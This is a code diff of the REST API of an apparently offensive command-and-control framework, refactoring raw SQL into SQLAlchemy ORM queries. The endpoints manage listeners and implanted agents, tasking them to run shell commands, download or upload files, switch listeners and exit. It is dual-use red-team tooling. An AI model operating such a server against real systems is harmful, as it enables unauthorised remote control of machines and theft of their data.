682 [ID, name, module, listener_type, listener_category, options] = activeListener
683 if name == listener_name:
684 listeners.append({'ID': ID, 'name': name, 'module': module, 'listener_type': listener_type,
685 'listener_category': listener_category, 'options': pickle.loads(activeListener[5])})
686
660 if active_listener.name == listener_name:
661 listeners.append({'ID': active_listener.id, 'name': active_listener.name, 'module': active_listener.module,
662 'listener_type': active_listener.listener_type,
663 'listener_category': active_listener.listener_category,
664 'options': active_listener.options})
687665 return jsonify({'listeners': listeners})
688666 else:
689667 return make_response(jsonify({'error': 'listener name %s not found' % (listener_name)}), 404)
694672 Kills the listener specified by listener_name.
695673 """
696674 if listener_name.lower() == "all":
697 activeListenersRaw = execute_db_query(conn, 'SELECT id, name, module, listener_type, listener_category, options FROM listeners')
698 for activeListener in activeListenersRaw:
699 [ID, name, module, listener_type, listener_category, options] = activeListener
700 main.listeners.kill_listener(name)
675 active_listeners_raw = Session().query(models.Listener).all()
676 for active_listener in active_listeners_raw:
677 main.listeners.kill_listener(active_listener.name)
701678
702679 return jsonify({'success': True})
703680 else:
705682 main.listeners.kill_listener(listener_name)
706683 return jsonify({'success': True})
707684 else:
708 return make_response(jsonify({'error': 'listener name %s not found' %(listener_name)}), 404)
685 return make_response(jsonify({'error': 'listener name %s not found' % (listener_name)}), 404)
709686
710687 @app.route('/api/listeners/types', methods=['GET'])
711688 def get_listener_types():
713690 Returns a list of the loaded listeners that are available for use.
714691 """
715692
716 return jsonify({'types' : list(main.listeners.loadedListeners.keys())})
693 return jsonify({'types': list(main.listeners.loadedListeners.keys())})
717694
718695 @app.route('/api/listeners/options/<string:listener_type>', methods=['GET'])
719696 def get_listener_options(listener_type):
722699 """
723700
724701 if listener_type.lower() not in main.listeners.loadedListeners:
725 return make_response(jsonify({'error':'listener type %s not found' %(listener_type)}), 404)
702 return make_response(jsonify({'error': 'listener type %s not found' % (listener_type)}), 404)
726703
727704 options = main.listeners.loadedListeners[listener_type].options
728 return jsonify({'listeneroptions' : options})
705 return jsonify({'listeneroptions': options})
729706
730707 @app.route('/api/listeners/<string:listener_type>', methods=['POST'])
731708 def start_listener(listener_type):
733710 Starts a listener with options supplied in the POST.
734711 """
735712 if listener_type.lower() not in main.listeners.loadedListeners:
736 return make_response(jsonify({'error':'listener type %s not found' %(listener_type)}), 404)
713 return make_response(jsonify({'error': 'listener type %s not found' % (listener_type)}), 404)
737714
738715 listenerObject = main.listeners.loadedListeners[listener_type]
739716 # set all passed options
745722
746723 returnVal = main.listeners.set_listener_option(listener_type, option, values)
747724 if not returnVal:
748 return make_response(jsonify({'error': 'error setting listener value %s with option %s' %(option, values)}), 400)
725 return make_response(
726 jsonify({'error': 'error setting listener value %s with option %s' % (option, values)}), 400)
749727
750728 main.listeners.start_listener(listener_type, listenerObject)
751729
761739 """
762740 Returns JSON describing all currently registered agents.
763741 """
764 activeAgentsRaw = execute_db_query(conn, 'SELECT id, session_id, listener, name, language, language_version, delay, jitter, external_ip, '+
765 'internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, '+
766 'lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results, notes FROM agents')
742 active_agents_raw = Session().query(models.Agent).all()
767743 agents = []
768744
769 for activeAgent in activeAgentsRaw:
770 [ID, session_id, listener, name, language, language_version, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results, notes] = activeAgent
771
772 stale = helpers.is_stale(lastseen_time, delay, jitter)
773
774 if isinstance(session_key, bytes):
775 session_key = session_key.decode('latin-1').encode('utf-8')
776
777 agents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results, "stale":stale, "notes":notes})
778
779 return jsonify({'agents' : agents})
745 for active_agent in active_agents_raw:
746 agents.append(
747 {"ID": active_agent.id, "session_id": active_agent.session_id, "listener": active_agent.listener,
748 "name": active_agent.name, "language": active_agent.language,
749 "language_version": active_agent.language_version, "delay": active_agent.delay,
750 "jitter": active_agent.jitter, "external_ip": active_agent.external_ip,
751 "internal_ip": active_agent.internal_ip, "username": active_agent.username,
752 "high_integrity": int(active_agent.high_integrity or 0), "process_name": active_agent.process_name,
753 "process_id": active_agent.process_id, "hostname": active_agent.hostname,
754 "os_details": active_agent.os_details,
755 "session_key": str(active_agent.session_key),
756 "nonce": active_agent.nonce, "checkin_time": active_agent.checkin_time,
757 "lastseen_time": active_agent.lastseen_time, "parent": active_agent.parent,
758 "children": active_agent.children, "servers": active_agent.servers, "profile": active_agent.profile,
759 "functions": active_agent.functions, "kill_date": active_agent.kill_date,
760 "working_hours": active_agent.working_hours, "lost_limit": active_agent.lost_limit,
761 "taskings": active_agent.taskings, "results": active_agent.results, "stale": active_agent.stale,
762 "notes": active_agent.notes})
763
764 return jsonify({'agents': agents})
780765
781766 @app.route('/api/agents/stale', methods=['GET'])
782767 def get_agents_stale():
784769 Returns JSON describing all stale agents.
785770 """
786771
787 agentsRaw = execute_db_query(conn, 'SELECT id, session_id, listener, name, language, language_version, delay, jitter, external_ip, '+
788 'internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, '+
789 'lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results FROM agents')
790 staleAgents = []
791
792 for agent in agentsRaw:
793 [ID, session_id, listener, name, language, language_version, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results] = agent
794
795 stale = helpers.is_stale(lastseen_time, delay, jitter)
796
797 if stale:
798 if isinstance(session_key, bytes):
799 session_key = session_key.decode('latin-1').encode('utf-8')
800
801 staleAgents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results})
802
803 return jsonify({'agents' : staleAgents})
772 agents_raw = Session().query(models.Agent).all()
773 stale_agents = []
774
775 for agent in agents_raw:
776 if agent.stale:
777 stale_agents.append(
778 {"ID": agent.id, "session_id": agent.session_id, "listener": agent.listener, "name": agent.name,
779 "language": agent.language, "language_version": agent.language_version, "delay": agent.delay,
780 "jitter": agent.jitter, "external_ip": agent.external_ip, "internal_ip": agent.internal_ip,
781 "username": agent.username, "high_integrity": int(agent.high_integrity or 0),
782 "process_name": agent.process_name, "process_id": agent.process_id, "hostname": agent.hostname,
783 "os_details": agent.os_details, "session_key": str(agent.session_key), "nonce": agent.nonce,
784 "checkin_time": agent.checkin_time, "lastseen_time": agent.lastseen_time, "parent": agent.parent,
785 "children": agent.children, "servers": agent.servers, "profile": agent.profile,
786 "functions": agent.functions, "kill_date": agent.kill_date, "working_hours": agent.working_hours,
787 "lost_limit": agent.lost_limit, "taskings": agent.taskings, "results": agent.results})
788
789 return jsonify({'agents': stale_agents})
804790
805791 @app.route('/api/agents/stale', methods=['DELETE'])
806792 def remove_stale_agent():
809795
810796 WARNING: doesn't kill the agent first! Ensure the agent is dead.
811797 """
812 agentsRaw = execute_db_query(conn, 'SELECT * FROM agents')
813
814 for agent in agentsRaw:
815 [ID, sessionID, listener, name, language, language_version, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results] = agent
816
817 stale = helpers.is_stale(lastseen_time, delay, jitter)
818
819 if stale:
820 execute_db_query(conn, "DELETE FROM agents WHERE session_id LIKE ?", [sessionID])
798 agents_raw = Session().query(models.Agent).all()
799
800 for agent in agents_raw:
801
802 if agent.stale:
803 Session().delete(agent)
804 Session().commit()
821805
822806 return jsonify({'success': True})
823807
828812
829813 WARNING: doesn't kill the agent first! Ensure the agent is dead.
830814 """
831 if agent_name.lower() == "all":
832 # enumerate all target agent sessionIDs
833 agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'")
834 else:
835 agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
836
837 if not agentNameIDs or len(agentNameIDs) == 0:
838 return make_response(jsonify({'error': 'agent name %s not found' %(agent_name)}), 404)
839
840 for agentNameID in agentNameIDs:
841 (agentName, agentSessionID) = agentNameID
842
843 execute_db_query(conn, "DELETE FROM agents WHERE session_id LIKE ?", [agentSessionID])
815 agent = main.agents.get_agent_from_name_or_session_id(agent_name)
816
817 if not agent:
818 return make_response(jsonify({'error': 'agent name %s not found' % (agent_name)}), 404)
819
820 Session().delete(agent)
821 Session().commit()
844822
845823 return jsonify({'success': True})
846824
849827 """
850828 Returns JSON describing the agent specified by agent_name.
851829 """
852 activeAgentsRaw = execute_db_query(conn, 'SELECT id, session_id, listener, name, language, language_version, delay, jitter, external_ip, '+
853 'internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, '+
854 'lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results FROM agents ' +
855 'WHERE name=? OR session_id=?', [agent_name, agent_name])
856 activeAgents = []
857
858 for activeAgent in activeAgentsRaw:
859 [ID, session_id, listener, name, language, language_version, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results] = activeAgent
860
861 if isinstance(session_key, bytes):
862 session_key = session_key.decode('latin-1').encode('utf-8')
863
864 activeAgents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results})
865
866 return jsonify({'agents' : activeAgents})
830 agent = Session().query(models.Agent).filter(models.Agent.name == agent_name).first()
831 active_agent = []
832 active_agent.append(
833 {"ID": agent.id, "session_id": agent.session_id, "listener": agent.listener, "name": agent.name,
834 "language": agent.language, "language_version": agent.language_version, "delay": agent.delay,
835 "jitter": agent.jitter, "external_ip": agent.external_ip, "internal_ip": agent.internal_ip,
836 "username": agent.username, "high_integrity": int(agent.high_integrity or 0),
837 "process_name": agent.process_name,
838 "process_id": agent.process_id, "hostname": agent.hostname, "os_details": agent.os_details,
839 "session_key": str(agent.session_key),
840 "nonce": agent.nonce, "checkin_time": agent.checkin_time,
841 "lastseen_time": agent.lastseen_time, "parent": agent.parent, "children": agent.children,
842 "servers": agent.servers, "profile": agent.profile, "functions": agent.functions,
843 "kill_date": agent.kill_date, "working_hours": agent.working_hours,
844 "lost_limit": agent.lost_limit,
845 "taskings": agent.taskings, "results": agent.results})
846
847 return jsonify({'agents': active_agent})
867848
868849 @app.route('/api/agents/<string:agent_name>/directory', methods=['POST'])
869850 def scrape_agent_directory(agent_name):
876857 # Would be cool to add a "depth" param
877858 directory = '/' if request.args.get('directory') is None else request.args.get('directory')
878859
879 found = execute_db_query(conn, "SELECT * FROM file_directory WHERE session_id = ? AND path = ? AND is_file = 0",
880 [agent_name, directory])
881 if len(found) == 0:
860 found = Session().query(models.AgentFile).filter(and_(
861 models.AgentFile.session_id == agent_name,
862 models.AgentFile.path == directory)).first()
863
864 if not found:
882865 return make_response(jsonify({'error': "Directory not found."}), 404)
883866
884 results = execute_db_query(conn, """
885 SELECT
886 base.id,
887 base.session_id,
888 base.name,
889 base.path,
890 base.parent_id,
891 base.is_file,
892 p.name,
893 p.path,
894 p.parent_id
895 FROM file_directory base
896 join file_directory p on base.parent_id = p.id
897 WHERE base.session_id = ? and p.path = ?
898 """, [agent_name, directory])
867 agent_file_alias = aliased(models.AgentFile)
868 results = Session() \
869 .query(models.AgentFile.id.label("id"),
870 models.AgentFile.session_id.label("session_id"),
871 models.AgentFile.name.label("name"),
872 models.AgentFile.path.label("path"),
873 models.AgentFile.parent_id.label("parent_id"),
874 models.AgentFile.is_file.label("is_file"),
875 agent_file_alias.name.label("parent_name"),
876 agent_file_alias.path.label("parent_path"),
877 agent_file_alias.parent_id.label("parent_parent")) \
878 .select_from(models.AgentFile) \
879 .join(agent_file_alias,
880 models.AgentFile.parent_id == agent_file_alias.id) \
881 .filter(and_(models.AgentFile.session_id == agent_name, agent_file_alias.path == directory)) \
882 .all()
899883
900884 response = []
901885 for result in results:
902 [id, session_id, name, path, parent_id, is_file, parent_name, parent_path, parent_parent] = result
903 response.append({'id': id, 'session_id': session_id, 'name': name, 'path': path, 'parent_id': parent_id, 'is_file': bool(is_file),
904 'parent_name': parent_name, 'parent_path': parent_path, 'parent_parent': parent_parent})
886 response.append({'id': result.id, 'session_id': result.session_id, 'name': result.name, 'path': result.path,
887 'parent_id': result.parent_id, 'is_file': result.is_file, 'parent_name': result.parent_name,
888 'parent_path': result.parent_path, 'parent_parent': result.parent_parent})
905889
906890 return jsonify({'items': response})
907891
911895 Returns JSON describing the agent's results and removes the result field
912896 from the backend database.
913897 """
914 agentTaskResults = []
915
916 if agent_name.lower() == "all":
917 # enumerate all target agent sessionIDs
918 agentNameIDs = execute_db_query(conn, "SELECT name, session_id FROM agents WHERE name like '%' OR session_id like '%'")
919 else:
920 agentNameIDs = execute_db_query(conn, 'SELECT name, session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
921
922 for agentNameID in agentNameIDs:
923 [agentName, agentSessionID] = agentNameID
924
925 agentResults = execute_db_query(conn,
926 """
927 SELECT
928 results.id,
929 taskings.data AS command,
930 results.data AS response,
931 users.id as user_id,
932 users.username as username
933 FROM results
934 INNER JOIN taskings ON results.id = taskings.id AND results.agent = taskings.agent
935 LEFT JOIN users on results.user_id = users.id
936 WHERE results.agent=?;
937 """, [agentSessionID])
938
939 results = []
940 if len(agentResults) > 0:
941 for taskID, command, result, user_id, username in agentResults:
942 results.append({'taskID': taskID, 'command': command, 'results': result, 'user_id': user_id, 'username': username})
943
944 agentTaskResults.append({"AgentName": agentSessionID, "AgentResults": results})
945 else:
946 agentTaskResults.append({"AgentName": agentSessionID, "AgentResults": []})
947
948 return jsonify({'results': agentTaskResults})
898 agent_task_results = []
899
900 agent_results_raw = Session() \
901 .query(models.Result.id.label("task_id"),
902 models.Tasking.data.label("command"),
903 models.Result.data.label("result"),
904 models.User.id.label("user_id"),
905 models.User.username.label("username")) \
906 .select_from(models.Result) \
907 .join(models.Tasking,
908 and_(models.Tasking.id == models.Result.id, models.Tasking.agent == models.Result.agent)) \
909 .outerjoin(models.User, models.Tasking.user_id == models.User.id) \
910 .filter(models.Result.agent == agent_name) \
911 .all()
912
913 results = []
914 for agent_results in agent_results_raw:
915 if len(agent_results) > 0:
916 results.append(
917 {'taskID': agent_results.task_id, 'command': agent_results.command, 'results': agent_results.result,
918 'user_id': agent_results.user_id,
919 'username': agent_results.username})
920
921 agent_task_results.append({"AgentName": agent_name, "AgentResults": results})
922
923 return jsonify({'results': agent_task_results})
949924
950925 @app.route('/api/agents/<string:agent_name>/task/<int:task_id>', methods=['GET'])
951926 def get_task(agent_name, task_id):
952 results = execute_db_query(conn, """
953 SELECT
954 taskings.id AS task,
955 taskings.data AS command,
956 results.data AS response,
957 users.id AS user_id,
958 users.username AS username
959 FROM taskings
960 LEFT JOIN users ON taskings.user_id = users.id
961 LEFT JOIN results on results.id = taskings.id AND results.agent = taskings.agent
962 WHERE taskings.agent = ?
963 AND taskings.id = ?
964 """, [agent_name, task_id])
965
966 if len(results) > 0:
967 [taskID, command, results, user_id, username] = results[0]
968 return make_response(jsonify({'taskID': taskID, 'command': command, 'results': results, 'user_id': user_id, 'username': username}))
927 agent_results = Session() \
928 .query(models.Result.id.label("task_id"),
929 models.Tasking.data.label("command"),
930 models.Result.data.label("result"),
931 models.User.id.label("user_id"),
932 models.User.username.label("username")) \
933 .select_from(models.Result) \
934 .join(models.Tasking,
935 and_(task_id == models.Result.id, agent_name == models.Result.agent)) \
936 .outerjoin(models.User, models.Tasking.user_id == models.User.id) \
937 .filter(models.Result.agent == agent_name) \
938 .first()
939
940 if agent_results:
941 return make_response(jsonify(
942 {'taskID': agent_results.task_id, 'command': agent_results.command, 'results': agent_results.result,
943 'user_id': agent_results.user_id, 'username': agent_results.username}))
969944
970945 return make_response(jsonify({'error': 'task not found.'}), 404)
971946
974949 """
975950 Removes the specified agent results field from the backend database.
976951 """
977 if agent_name.lower() == "all":
978 # enumerate all target agent sessionIDs
979 agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'")
980 else:
981 agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
982
983 if not agentNameIDs or len(agentNameIDs) == 0:
984 return make_response(jsonify({'error': 'agent name %s not found' %(agent_name)}), 404)
985
986 for agentNameID in agentNameIDs:
987 (agentName, agentSessionID) = agentNameID
988
989 execute_db_query(conn, 'UPDATE agents SET results=? WHERE session_id=? OR name=?', ['', agentSessionID, agentName])
952 agent = main.agents.get_agent_from_name_or_session_id(agent_name)
953
954 if not agent:
955 return make_response(jsonify({'error': 'agent name %s not found' % (agent_name)}), 404)
956
957 agent.results = ''
958 Session().commit()
990959
991960 return jsonify({'success': True})
992961
995964 """
996965 Tasks the specified agent to download a file
997966 """
998
999 if agent_name.lower() == "all":
1000 # enumerate all target agent sessionIDs
1001 agent_name_ids = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'")
1002 else:
1003 agent_name_ids = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
1004
1005 if not agent_name_ids or len(agent_name_ids) == 0:
967 agent = main.agents.get_agent_from_name_or_session_id(agent_name)
968
969 if agent is None:
1006970 return make_response(jsonify({'error': 'agent name %s not found' % agent_name}), 404)
1007971
1008972 if not request.json['filename']:
1009 return make_response(jsonify({'error':'file name not provided'}), 404)
973 return make_response(jsonify({'error': 'file name not provided'}), 404)
1010974
1011975 file_name = request.json['filename']
1012 for agent_name_id in agent_name_ids:
1013 (agentName, agentSessionID) = agent_name_id
1014
1015 msg = "Tasked agent to download %s" % file_name
1016 main.agents.save_agent_log(agentSessionID, msg)
1017 task_id = main.agents.add_agent_task_db(agentSessionID, 'TASK_DOWNLOAD', file_name, uid=g.user['id'])
976
977 msg = "Tasked agent to download %s" % file_name
978 main.agents.save_agent_log(agent.session_id, msg)
979 task_id = main.agents.add_agent_task_db(agent.session_id, 'TASK_DOWNLOAD', file_name, uid=g.user['id'])
1018980
1019981 return jsonify({'success': True, 'taskID': task_id})
1020982
1023985 """
1024986 Tasks the specified agent to upload a file
1025987 """
1026
1027 if agent_name.lower() == "all":
1028 # enumerate all target agent sessionIDs
1029 agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'")
1030 else:
1031 agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
1032
1033 if not agentNameIDs or len(agentNameIDs) == 0:
1034 return make_response(jsonify({'error': 'agent name %s not found' %(agent_name)}), 404)
988 agent = main.agents.get_agent_from_name_or_session_id(agent_name)
989
990 if agent is None:
991 return make_response(jsonify({'error': 'agent name %s not found' % (agent_name)}), 404)
1035992
1036993 if not request.json['data']:
1037 return make_response(jsonify({'error':'file data not provided'}), 404)
994 return make_response(jsonify({'error': 'file data not provided'}), 404)
1038995
1039996 if not request.json['filename']:
1040 return make_response(jsonify({'error':'file name not provided'}), 404)
1041
1042 fileData = request.json['data']
1043 fileName = request.json['filename']
1044
1045 rawBytes = base64.b64decode(fileData)
1046
1047 if len(rawBytes) > 1048576:
1048 return make_response(jsonify({'error':'file size too large'}), 404)
1049
1050 for agentNameID in agentNameIDs:
1051 (agentName, agentSessionID) = agentNameID
1052
1053 msg = "Tasked agent to upload %s : %s" % (fileName, hashlib.md5(rawBytes).hexdigest())
1054 main.agents.save_agent_log(agentSessionID, msg)
1055 data = fileName + "|" + fileData
1056 taskID = main.agents.add_agent_task_db(agentSessionID, 'TASK_UPLOAD', data, uid=g.user['id'])
1057
1058 return jsonify({'success': True, 'taskID': taskID})
997 return make_response(jsonify({'error': 'file name not provided'}), 404)
998
999 file_data = request.json['data']
1000 file_name = request.json['filename']
1001
1002 raw_bytes = base64.b64decode(file_data)
1003
1004 if len(raw_bytes) > 1048576:
1005 return make_response(jsonify({'error': 'file size too large'}), 404)
1006
1007 msg = "Tasked agent to upload %s : %s" % (file_name, hashlib.md5(raw_bytes).hexdigest())
1008 main.agents.save_agent_log(agent.session_id, msg)
1009 data = file_name + "|" + file_data
1010 task_id = main.agents.add_agent_task_db(agent.session_id, 'TASK_UPLOAD', data, uid=g.user['id'])
1011
1012 return jsonify({'success': True, 'taskID': task_id})
10591013
10601014 @app.route('/api/agents/<string:agent_name>/shell', methods=['POST'])
10611015 def task_agent_shell(agent_name):
10641018
10651019 Takes {'command':'shell_command'}
10661020 """
1067 if agent_name.lower() == "all":
1068 # enumerate all target agent sessionIDs
1069 agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'")
1070 else:
1071 agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
1072
1073 if not agentNameIDs or len(agentNameIDs) == 0:
1074 return make_response(jsonify({'error': 'agent name %s not found' %(agent_name)}), 404)
1021 agent = main.agents.get_agent_from_name_or_session_id(agent_name)
1022
1023 if agent is None:
1024 return make_response(jsonify({'error': 'agent name %s not found' % (agent_name)}), 404)
10751025
10761026 command = request.json['command']
1077 for agentNameID in agentNameIDs:
1078 (agentName, agentSessionID) = agentNameID
1079
1080 # add task command to agent taskings
1081 msg = "tasked agent %s to run command %s" %(agentSessionID, command)
1082 main.agents.save_agent_log(agentSessionID, msg)
1083 taskID = main.agents.add_agent_task_db(agentSessionID, "TASK_SHELL", command, uid=g.user['id'])
1084 return jsonify({'success': True, 'taskID': taskID})
1027
1028 # add task command to agent taskings
1029 msg = "tasked agent %s to run command %s" % (agent.session_id, command)
1030 main.agents.save_agent_log(agent.session_id, msg)
1031 task_id = main.agents.add_agent_task_db(agent.session_id, "TASK_SHELL", command, uid=g.user['id'])
1032
1033 return jsonify({'success': True, 'taskID': task_id})
10851034
10861035 @app.route('/api/agents/<string:agent_name>/update_comms', methods=['PUT'])
10871036 def agent_update_comms(agent_name):
10921041 """
10931042
10941043 if not request.json:
1095 return make_response(jsonify({'error':'request body must be valid JSON'}), 400)
1044 return make_response(jsonify({'error': 'request body must be valid JSON'}), 400)
10961045
10971046 if not 'listener' in request.json:
1098 return make_response(jsonify({'error':'JSON body must include key "listener"'}), 400)
1047 return make_response(jsonify({'error': 'JSON body must include key "listener"'}), 400)
10991048
11001049 listener_name = request.json['listener']
11011050
11051054 active_listener = main.listeners.activeListeners[listener_name]
11061055 if active_listener['moduleName'] != 'meterpreter' or active_listener['moduleName'] != 'http_mapi':
11071056 listener_options = active_listener['options']
1108 listener_comms = main.listeners.loadedListeners[active_listener['moduleName']].generate_comms(listener_options, language="powershell")
1057 listener_comms = main.listeners.loadedListeners[active_listener['moduleName']].generate_comms(
1058 listener_options, language="powershell")
11091059
11101060 main.agents.add_agent_task_db(agent_name, "TASK_UPDATE_LISTENERNAME", listener_options['Name']['Value'])
11111061 main.agents.add_agent_task_db(agent_name, "TASK_SWITCH_LISTENER", listener_comms)
11141064 main.agents.save_agent_log(agent_name, msg)
11151065 return jsonify({'success': True})
11161066 else:
1117 return jsonify({'error': 'Ineligible listener for updatecomms command: %s' % active_listener['moduleName']})
1067 return jsonify(
1068 {'error': 'Ineligible listener for updatecomms command: %s' % active_listener['moduleName']})
11181069
11191070 @app.route('/api/agents/<string:agent_name>/killdate', methods=['PUT'])
11201071 def agent_kill_date(agent_name):
11251076 """
11261077
11271078 if not request.json:
1128 return make_response(jsonify({'error':'request body must be valid JSON'}), 400)
1079 return make_response(jsonify({'error': 'request body must be valid JSON'}), 400)
11291080
11301081 if not 'kill_date' in request.json:
1131 return make_response(jsonify({'error':'JSON body must include key "kill_date"'}), 400)
1082 return make_response(jsonify({'error': 'JSON body must include key "kill_date"'}), 400)
11321083
11331084 try:
11341085 kill_date = request.json['kill_date']
11551106 """
11561107
11571108 if not request.json:
1158 return make_response(jsonify({'error':'request body must be valid JSON'}), 400)
1109 return make_response(jsonify({'error': 'request body must be valid JSON'}), 400)
11591110
11601111 if not 'working_hours' in request.json:
1161 return make_response(jsonify({'error':'JSON body must include key "working_hours"'}), 400)
1112 return make_response(jsonify({'error': 'JSON body must include key "working_hours"'}), 400)
11621113
11631114 try:
11641115 working_hours = request.json['working_hours']
11851136 Takes {'newname': 'NAME'}
11861137 """
11871138
1188 agentNameID = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
1189
1190 if not agentNameID or len(agentNameID) == 0:
1191 return make_response(jsonify({'error': 'agent name %s not found' %(agent_name)}), 404)
1192
1193 (agentName, agentSessionID) = agentNameID[0]
1194 newName = request.json['newname']
1139 agent = main.agents.get_agent_from_name_or_session_id(agent_name)
1140
1141 if not agent:
1142 return make_response(jsonify({'error': 'agent name %s not found' % (agent_name)}), 404)
1143
1144 new_name = request.json['newname']
11951145
11961146 try:
1197 result = main.agents.rename_agent(agentName, newName)
1147 result = main.agents.rename_agent(agent_name, new_name)
11981148
11991149 if not result:
1200 return make_response(jsonify({'error': 'error in renaming %s to %s, new name may have already been used' %(agentName, newName)}), 400)
1150 return make_response(jsonify({
1151 'error': 'error in renaming %s to %s, new name may have already been used' % (
1152 agent_name, new_name)}), 400)
12011153
12021154 return jsonify({'success': True})
12031155
12041156 except Exception:
1205 return make_response(jsonify({'error': 'error in renaming %s to %s' %(agentName, newName)}), 400)
1157 return make_response(jsonify({'error': 'error in renaming %s to %s' % (agent_name, new_name)}), 400)
12061158
12071159 @app.route('/api/agents/<string:agent_name>/clear', methods=['POST', 'GET'])
12081160 def task_agent_clear(agent_name):
12091161 """
12101162 Clears the tasking buffer for the specified agent.
12111163 """
1212 if agent_name.lower() == "all":
1213 # enumerate all target agent sessionIDs
1214 agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'")
1215 else:
1216 agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
1217
1218 if not agentNameIDs or len(agentNameIDs) == 0:
1219 return make_response(jsonify({'error': 'agent name %s not found' %(agent_name)}), 404)
1220
1221 for agentNameID in agentNameIDs:
1222 (agentName, agentSessionID) = agentNameID
1223
1224 main.agents.clear_agent_tasks_db(agentSessionID)
1164 agent = main.agents.get_agent_from_name_or_session_id(agent_name)
1165
1166 if agent is None:
1167 return make_response(jsonify({'error': 'agent name %s not found' % (agent_name)}), 404)
1168
1169 main.agents.clear_agent_tasks_db(agent_name)
12251170
12261171 return jsonify({'success': True})
12271172
12301175 """
12311176 Tasks the specified agent to exit.
12321177 """
1233 if agent_name.lower() == "all":
1234 # enumerate all target agent sessionIDs
1235 agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'")
1236 else:
1237 agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
1238
1239 if not agentNameIDs or len(agentNameIDs) == 0:
1240 return make_response(jsonify({'error': 'agent name %s not found' %(agent_name)}), 404)
1241
1242 for agentNameID in agentNameIDs:
1243 (agentName, agentSessionID) = agentNameID
1244
1245 # task the agent to exit
1246 msg = "tasked agent %s to exit" %(agentSessionID)
1247 main.agents.save_agent_log(agentSessionID, msg)
1248 main.agents.add_agent_task_db(agentSessionID, 'TASK_EXIT', uid=g.user['id'])
1178 agent = main.agents.get_agent_from_name_or_session_id(agent_name)
1179
1180 if agent is None:
1181 return make_response(jsonify({'error': 'agent name %s not found' % (agent_name)}), 404)
1182
1183 # task the agent to exit
1184 msg = "tasked agent %s to exit" % (agent.session_id)
1185 main.agents.save_agent_log(agent.session_id, msg)
1186 main.agents.add_agent_task_db(agent.session_id, 'TASK_EXIT', uid=g.user['id'])
12491187
12501188 return jsonify({'success': True})
12511189
12571195 """
12581196
12591197 if not request.json:
1260 return make_response(jsonify({'error':'request body must be valid JSON'}), 400)
1198 return make_response(jsonify({'error': 'request body must be valid JSON'}), 400)
12611199
